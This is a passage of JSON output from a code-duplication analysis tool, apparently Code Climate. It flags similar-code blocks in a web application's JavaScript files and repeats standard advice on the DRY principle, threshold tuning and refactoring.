Code_, p76\n"},"fingerprint":"4dccfbb8118720c67894021eefaeb04f","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":39,"end":43}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js","lines":{"begin":44,"end":48}},{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":44,"end":48}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"594be23bc97d64731abf2df62520ccd3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/clusters/services/clusters_service.js","lines":{"begin":6,"end":12}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":96,"end":102}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5b85961f2c362ae642ccf393b8352fcb","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/clusters/clusters_bundle.js","lines":{"begin":96,"end":102}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/clusters/services/clusters_service.js","lines":{"begin":6,"end":12}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cad81c7468728ba369f9f23c8a1271bc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":91,"end":93}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":172,"end":174}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"beda25571cf3ea070a68d9cdfae91c8d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":172,"end":174}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/actions/file.js","lines":{"begin":91,"end":93}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"beda25571cf3ea070a68d9cdfae91c8d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js","lines":{"begin":48,"end":53}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js","lines":{"begin":63,"end":67}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"575f1444e3c2fec5a4f47d049cbd87c0","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js","lines":{"begin":63,"end":67}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js","lines":{"begin":48,"end":53}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5e4303b5381a6be7bcaade373d766f34","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":35,"end":42}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":50,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1d8b266328571b1177e922384e474eb5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":50,"end":57}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":35,"end":42}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"334a900ffecf98fb6a951456c58236a1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":181,"end":183}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":290,"end":292}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"32fbc7cab878611e7f156798ae3d2bca","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":290,"end":292}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/graphs/show/stat_graph_contributors_graph.js","lines":{"begin":181,"end":183}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"32fbc7cab878611e7f156798ae3d2bca","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":50,"end":56}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":57,"end":63}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c14eefb5c2db69bb969956efd4384de","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":57,"end":63}},"remediation_points":930000,"other_locations":[{"path":"app/assets/javascripts/pages/projects/project.js","lines":{"begin":50,"end":56}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 66**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c14eefb5c2db69bb969956efd4384de","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider 